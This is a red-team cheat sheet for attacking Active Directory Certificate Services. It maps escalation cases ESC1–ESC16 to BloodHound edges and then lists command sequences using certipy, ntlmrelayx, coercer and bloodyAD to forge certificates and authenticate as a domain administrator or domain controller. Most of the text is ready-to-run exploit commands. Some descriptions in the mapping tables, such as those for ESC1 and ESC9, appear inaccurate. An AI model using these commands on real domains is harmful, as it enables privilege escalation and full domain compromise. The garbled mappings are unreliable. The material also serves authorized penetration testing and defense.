“While Certipy is effective for AD CS-specific abuse, combining it with BloodHound provides broader attack path analysis. BloodHound offers deeper visibility into AD relationships and is particularly useful for ESCs that are vaguely defined or graph-based in nature, such as ESC5, ESC13, and ESC14. For instance, Certipy can identify templates vulnerable to ESC13 - which involve certificate templates with issuance policies linked to privileged groups via OID group links - but it does not map out the privileges obtained from that group link, as this requires contextual analysis of group memberships and permissions.”

Source

ESC → BloodHound Edge Mapping
ESC Case Description BloodHound Edge(s) Notes
ESC1 Machine account creation + certificate request (e.g. addcomputer abuse) GenericAll, GenericWrite, MachineAccountQuota Requires ability to add computer objects or exploit MAQ > 0.
ESC3 Enrollment Agent “on behalf of” certificate issuance WriteDACL, AllExtendedRights, GenericAll Depends if you can modify template perms (WriteDACL) or already have enrollment rights.
ESC4 Dangerous template ACLs (modify enrollment rights / perms) WriteDACL, GenericAll, WriteOwner Abusing ability to reconfigure templates.
ESC7 Adding self as Enrollment Agent or enabling templates WriteDACL, GenericAll Requires modifying CA or template permissions.
ESC8 NTLM relay to AD CS enrollment services Relay-based attack, not directly represented in BloodHound edges.
ESC9 Shadow Credentials via altSecurityIdentities GenericWrite, GenericAll Setting altSecurityIdentities to impersonate another principal.
ESC10 Weak registry config (CertificateMappingMethods, etc.) Registry abuse — not represented in BloodHound edges (unless via GPO rights → GenericWrite).
ESC13 Group OID linked to privileged group → cert issuance path MemberOf, AddMember, GenericAll BloodHound graphing is required to trace OID group membership to privilege.
ESC14 altSecurityIdentities + mail attribute abuse (cert-based impersonation) GenericWrite, GenericAll Typically modifying mail and altSecurityIdentities.
ESC15 Certificate Request Agent → request certs for other users (incl. Admins) AllExtendedRights, GenericAll Requires dangerous Request Agent templates.
ESC16 UPN spoofing during request (set UPN to Admin, then request cert) GenericWrite, GenericAll Ability to modify UPN or request certs with alternate identities.
       
BloodHound Edges → ESC Mapping
BloodHound Edge ESC Case(s) Description / Abuse Path Notes
GenericAll ESC1, ESC3, ESC4, ESC7, ESC9, ESC13, ESC14, ESC15, ESC16 Full control over objects including templates, users, or computers. Covers direct full-control paths (reset pwd, add to group, set attributes, abuse templates).
GenericWrite ESC1, ESC9, ESC14, ESC16 Modify key attributes like altSecurityIdentities, mail, or userPrincipalName. Enables impersonation and UPN spoofing.
WriteDACL ESC3, ESC4, ESC7 Ability to grant self enrollment rights or modify template permissions. Often combined with WriteOwner or GenericAll.
WriteOwner ESC4 Take ownership of certificate templates or CA objects. Can then grant self rights via WriteDACL.
AddMember ESC13 Add users/groups to Enrollment Agent–linked groups via OID group memberships. Required for ESC13 path abuse.
AllExtendedRights ESC3, ESC15 Perform certificate requests (e.g., Enrollment Agent, Request Agent). Abuses dangerous extended rights on templates.
AllowedToDelegate Not directly mapped to AD CS ESC abuses. More relevant for RBCD/unconstrained delegation abuse outside of AD CS.
ReadProperty Not directly relevant to AD CS ESC cases. May be used in reconnaissance (reading cert template attributes).
Other/Utility ESC8, ESC10 Relay to CA (ESC8) or weak registry config abuse (ESC10). Not strictly BloodHound edge–based; external/host-level or relay-based attacks.
Enumeration
Search for vulnerable certificate templates
certipy find -u username -p password -dc-ip ip -target dc -enabled -vulnerable -stdout
Find PKI Enrollment Services in Active Directory and Certificate Templates Names
nxc ldap target -u username -p password -M adcs
Anonymously use RPC endpoints to hunt for ADCS CAs
nxc smb target -M enum_ca
Attacks
ESC1
addcomputer.py domain/username:password -computer-name computer_name -computer-pass computer_password
certipy req -u computer_name -p computer_password -ca ca -target domain -template template -upn administrator -dc-ip ip

Or:

certipy req -u username -p password -ca ca -target domain -template template -upn administrator -dc-ip ip

If Minimum RSA Key Length : 4096 → add -key-size 4096:

certipy req -u username -p password -ca ca -target domain -template template -upn administrator -dc-ip ip -key-size 4096

Authenticate:

certipy auth -pfx administrator.pfx -domain domain -u username -dc-ip ip

Update (Feb 2025 enforcement):

certipy req -u username -p password -ca ca -target domain -template template -upn administrator -sid <administrator sid> -dc-ip ip
ESC3
certipy req -u username -p password -ca ca -target domain -template template
certipy req -u username -p password -ca ca -target domain -template User -on-behalf-of administrator -pfx pfx_file
certipy auth -pfx administrator.pfx -dc-ip ip
ESC4 (Certipy 4.8.2)
certipy template -u username -p password -template template -save-old -dc-ip ip
certipy req -u username -p password -dc-ip ip -ca ca -target dc -template template -upn administrator
certipy auth -pfx administrator.pfx -domain domain -u administrator -dc-ip ip
ESC4 (Certipy 5.0.2):
certipy template -u username@domain -p password -template template -write-default-configuration -no-save
certipy req -u username@domain -p password -ca ca -template template -upn administrator@domain
certipy auth -pfx administrator.pfx -dc-ip ip
ESC7
certipy ca -ca ca -add-officer username -u username@domain -p password -dc-ip ip -dns-tcp -ns ip
certipy ca -ca ca -enable-template SubCA -u username@domain -p password -dc-ip ip -dns-tcp -ns ip
certipy req -u username@domain -p password -ca ca -target ip -template SubCA -upn username@domain
certipy ca -ca ca -issue-request request_ID -u username@domain -p password
certipy req -u username@domain -p password -ca ca -target ip -retrieve request_ID
certipy auth -pfx pfx_file -domain domain -u username -dc-ip ip
ESC8
ntlmrelayx.py -t http://domain/certsrv/certfnsh.asp -smb2support --adcs --template template --no-http-server --no-wcf-server --no-raw-server
coercer coerce -u username -p password -l ws_ip -t dc_ip --always-continue
certipy auth -pfx administrator.pfx
ESC9
certipy shadow auto -u username@domain -hashes :hash -account target_username
certipy account update -u username@domain -hashes :hash -user target_username -upn administrator
certipy req -u target_username@domain -hashes :target_hash -ca ca -template template -target dc_ip
certipy account update -u username@domain -hashes :hash -user target_username -upn target_username
certipy auth -pfx administrator.pfx -domain domain
ESC10
Enumeration
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc' -Name StrongCertificateBindingEnforcement
Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel' -Name CertificateMappingMethods
Exploitation (Case 2)
certipy account -u username@domain -p password -dc-ip ip -target dc -upn dc$@domain -user victim update
getTGT.py domain/victim:password -dc-ip ip
export KRB5CCNAME=victim.ccache
certipy req -k -dc-ip ip -target dc -ca ca -template User
certipy account -k -dc-ip ip -target dc -upn victim@domain -user victim update
certipy auth -pfx dc.pfx -dc-ip ip -ldap-shell
ESC13
certipy req -u username -p password -ca ca -target domain -template template -dc-ip ip
certipy auth -pfx file.pfx -dc-ip ip
ESC14 (Scenario B)

https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#4a82

bloodyAD --host dc -d domain -u username -p password set object target altSecurityIdentities -v 'X509:<RFC822>target@domain'
bloodyAD --host dc -d domain -u owned_user -p password set object target mail -v target@domain
certipy account update -u owned_user@domain -p password -user username -upn target
certipy req -u username -p password -ca ca -template template -dc-ip ip
certipy account update -u owned_user -p password -user username -upn username@domain -dc-ip ip
certipy auth -pfx pfx -dc-ip ip -user target -domain domain
ESC15
Scenario A
certipy req -u username@domain -p password -dc-ip ip -target dc -ca ca -template template -upn administrator@domain -sid <administrator sid> -application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip ip -ldap-shell
Scenario B
certipy req -u username@domain -p password -dc-ip ip -ca ca -template WebServer -application-policies 'Certificate Request Agent'
certipy req -u username@domain -p password -dc-ip ip -ca ca -template User -pfx user.pfx -on-behalf-of 'DOMAIN\Administrator'
certipy auth -pfx administrator.pfx -dc-ip ip
ESC16

We use a user that has GenericAll or GenericWrite

certipy account -u owned_user@domain -p password -dc-ip ip -upn administrator -user username update
certipy req -u username@domain -p password -dc-ip ip -target dc -ca ca -template User -upn administrator@domain -sid <administrator sid>
certipy account -u owned_user@domain -p password -dc-ip ip -upn username -user username update
certipy auth -pfx administrator.pfx -dc-ip ip -domain domain

Big thanks to Serioton for the ADCS Attacks with Certipy post that I based the commands off of <3